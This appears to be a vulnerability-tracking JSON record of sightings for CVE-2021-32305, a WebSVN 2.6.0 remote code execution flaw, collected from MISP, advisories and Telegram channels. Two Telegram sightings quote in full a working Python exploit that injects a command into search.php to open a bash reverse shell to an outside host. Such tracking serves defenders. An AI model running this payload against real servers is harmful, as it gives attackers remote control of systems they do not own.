{"vulnerability": "CVE-2021-32305", "sightings": [{"uuid": "4603693e-ec63-448b-922e-6356cd285bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "MISP/2e8cebbe-4ab2-4eb0-bd6e-e8193972cf4e", "content": "", "creation_timestamp": "2021-09-02T09:56:23.000000Z"}, {"uuid": "2c81ebcc-a1f4-4cfd-b6d5-36728dac245f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-32305.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "f4e1d0ce-33c5-4c8b-9a18-a6823f5a7cb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "exploited", "source": "https://www.exploit-db.com/exploits/50042", "content": "", "creation_timestamp": "2021-06-21T00:00:00.000000Z"}, {"uuid": "83733b4b-7e02-40f7-9a95-e70d7c5cb274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/691", "content": "CVE-2021-32305 Websvn 2.6.0 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-32305_Websvn_2.6.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:27.000000Z"}, {"uuid": "5edc8f14-e847-4f31-8df1-3b78ac3467a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "MISP/78d757ce-8475-47bc-8204-74dfdc338ca3", "content": "", "creation_timestamp": "2026-07-24T00:15:04.884214Z"}, {"uuid": "96662cee-9ce3-4efb-8e41-1938918b13d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/multiple-vulnerabilities-in-internet-facing-systems-targeting-hong-kong-s-education-sector_20260724", "content": "", "creation_timestamp": "2026-07-24T12:45:02.856435Z"}, {"uuid": "38ada46e-ff48-4530-a920-ef66ff6b0c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "MISP/78d757ce-8475-47bc-8204-74dfdc338ca3", "content": "", "creation_timestamp": "2026-07-25T00:15:05.513379Z"}, {"uuid": "91b6b21a-9f53-46e1-8f77-60e50c1119f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "https://t.me/hacking_Attack/13854", "content": "Exploit Collector\nWebsvn 2.6.0 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png \nWebsvn version 2.6.0 suffers from a remote code execution vulnerability.\n\nMD5 | 6ae7383ff4fe81d3446640a77cf479db\n\nDownload\n# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)\n# Date: 20/06/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://websvnphp.github.io/\n# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0\n# Version: 2.6.0\n# Tested on: Docker + Debian GNU/Linux (Buster)\n# CVE : CVE-2021-32305\n\nimport requests\nimport argparse\nfrom urllib.parse import quote_plus\n\nPAYLOAD = \"/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'\"\nREQUEST_PAYLOAD = '/search.php?search=\";{};\"'\n\nparser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')\nparser.add_argument('target', type=str, help=\"Target URL.\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\nrequests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))\n\nprint(\"[*] Request send. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:35.072712Z"}, {"uuid": "3f4ef9b0-3cc5-4e56-b684-bc5694654d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/13854", "content": "Exploit Collector\nWebsvn 2.6.0 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png \nWebsvn version 2.6.0 suffers from a remote code execution vulnerability.\n\nMD5 | 6ae7383ff4fe81d3446640a77cf479db\n\nDownload\n# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)\n# Date: 20/06/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://websvnphp.github.io/\n# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0\n# Version: 2.6.0\n# Tested on: Docker + Debian GNU/Linux (Buster)\n# CVE : CVE-2021-32305\n\nimport requests\nimport argparse\nfrom urllib.parse import quote_plus\n\nPAYLOAD = \"/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'\"\nREQUEST_PAYLOAD = '/search.php?search=\";{};\"'\n\nparser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')\nparser.add_argument('target', type=str, help=\"Target URL.\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\nrequests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))\n\nprint(\"[*] Request send. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T02:00:05.760130Z"}]}